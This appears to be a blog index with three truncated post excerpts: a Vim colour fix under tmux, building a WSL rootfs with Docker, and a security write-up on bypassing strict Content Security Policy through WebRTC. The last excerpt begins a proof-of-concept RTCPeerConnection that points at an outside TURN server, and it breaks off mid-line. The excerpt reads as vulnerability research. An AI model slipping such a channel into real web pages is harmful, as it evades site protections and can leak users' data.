Fixing incorrect colors in Vim when running inside tmux

Incorrect colours within Vim is quite a common problem. An example of such: If $TERM is set correctly for tmux (screen-256color), adding a TC flag to term env to enable true color display: set-option -sa terminal-overrides ",xterm*:Tc" set-option -sa terminal-overrides ",screen*:Tc"…

Creating rootfs.tar.gz for WSL

After searching for a ridiculously long time, this is easy with Docker: docker pull centos:7 docker run --name export_img centos:7 bash docker export export_img -o rootfs.tar gzip rootfs.tar…

Bypassing strict CSP by abusing WebRTC

I noticed recently that there was a PR in the w3c github organisation on both the webappsec-csp and webrtc-pc specification repos adding a new webrtc-src repo. The PR in question: Extracted POC: var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=…